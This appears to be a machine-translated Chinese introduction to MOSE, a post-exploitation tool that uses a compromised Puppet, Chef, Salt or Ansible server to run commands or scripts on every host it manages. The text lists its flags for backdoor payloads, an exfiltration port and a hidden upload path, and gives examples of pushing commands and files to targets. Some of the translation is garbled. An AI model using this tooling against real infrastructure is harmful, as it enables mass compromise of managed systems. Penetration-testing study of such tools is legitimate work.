MOSE(服务大师)
MOSE是一种功能强大的后渗透工具,无论您的技术能力有多强,或者是否经验足够丰富,该工具都能够帮助广大安全研究专家渗透配置管理(CM)技术环境。类似木偶,厨师,盐和Ansible这样的CM工具可以根据不同的网络环境和给定的系统并以一种统一的方式来提供自己的功能。成功入侵一台CM服务器之后,攻击者将能够使用这些工具来在CM服务器资源上清单中的任意或所有系统中执行命令。但是,如果攻击者没有使用这些类型工具的经验,则可能会出现非常耗时的学习曲线。
在MOSE的帮助下,渗透测试人员可以指定它们所要运行的内容,而不必纠结于如何编写特定于专有CM工具的代码细节。此外,它还会自动将所需的命令合并到系统MOSE允许渗透测试人员在服务器的清单列表范围内选择他们想要攻击的目标资产,这种特性对于定位特定资产(如Web服务器)或选择接管CM服务器清单中的所有系统将非常有用。
工具依赖
为了确保MOSE的正常工作,我们首先需要在主机上下载并安装以下环境:
确保正确设置了GOROOT,PATH和GOPATH环境变量。
- Docker:已测试v18.09.2-19.03.12版本。
工具下载
广大研究人员可以直接使用以下go get命令来下载并安装MOSE,而无需重新导入项目源码克隆至本地:
去获取-u -v github.com/master-of-servers/mose
接下来,运行以下命令安装所有指定的Go依赖包并生成项目代码。请确保在运行以下命令之前在命令行终端使用cd命令切换至该项目目录下:
建立
工具使用
用法:
github.com/master-of-servers/mose [命令]
可用命令:
ansible为ansible创建MOSE有效负载
厨师为厨师创建MOSE有效载荷
help关于任何命令的帮助
为人偶创建MOSE有效载荷
盐为盐创建MOSE负载
标志:
--basedir字符串mose输出的有效负载位置(默认为“ /Users/l/programs/go/src/github.com/master-of-servers/mose”)
-c,--cmd string在目标上运行的命令
--config字符串配置文件(默认为$ PWD / .settings.yaml)
--debug显示调试输出
--exfilport int用于从厨师服务器中提取数据的端口(默认9090,带SSL的443)(默认9090)
-f,--filepath字符串<filepath>本地输出二进制文件
-u,--fileupload字符串文件上传选项
-h,--help帮助github.com/master-of-servers/mose
-l,--localip字符串本地IP地址
--nocolor禁用驼色
-a,--osarch字符串目标CM工具正在运行的体系结构
-o,--ostarget字符串目标CM服务器所在的操作系统(默认为“ linux”)
-m,--payloadname字符串后门有效负载的名称(默认为“ my_cmd”)
--payloads字符串mose输出的有效负载位置(默认为“ /Users/l/programs/go/src/github.com/master-of-servers/mose/payloads”)
--remoteuploadpath字符串将脚本上传到的远程文件路径(与-fu结合使用)(默认为“ /root/.definitelynotevil”)
-r,--rhost字符串在Chef工作站容器中为/ etc / hosts设置远程主机(格式为hostname:ip)
--ssl通过TLS服务有效负载
--tts int服务有效载荷的秒数(默认为60)
--websrvport int用于提供有效负载的端口(默认为8090,带SSL的443)(默认为8090)
使用“ github.com/master-of-servers/mose [command] --help”获得有关命令的更多信息。
TLS证书
我们已经需要大家生成并使用一个由受信证书机构签发的TLS证书。我们已经给大家提供了一个自签名的证书和密钥了(存储在数据目录中),不过我们不建议大家去使用。因为这个密钥和证书是公开的,私有保护性并不高。
工具使用样例
指定运行命令
该模式将允许我们在所有目标代理中执行特定的命令。
./mose <CM目标> -c <命令>
样例:
./mose cooker -c“ echo HELLO >> /tmp/friendlyFile.txt”
在目标设备上,下载有效载荷,并提供适当的权限,然后运行有效载荷:
./<CM目标>-<CM OS>
样例:
./chef-linux
发布并运行文件
该模式将允许我们指定需要在目标主机上运行的脚本或代码。
./mose puppet -u <文件名>
样例:
./mose puppet -u /tmp/notevil.sh
在目标设备上,下载有效载荷,并提供适当的权限,然后提取并运行有效载荷:
tar -vxf files.tar
./<CM目标>-<CM OS>
样例:
./puppet-linux
工具运行截图
摩西+木偶
摩西+厨师
项目地址
MOSE:【GitHub传送门】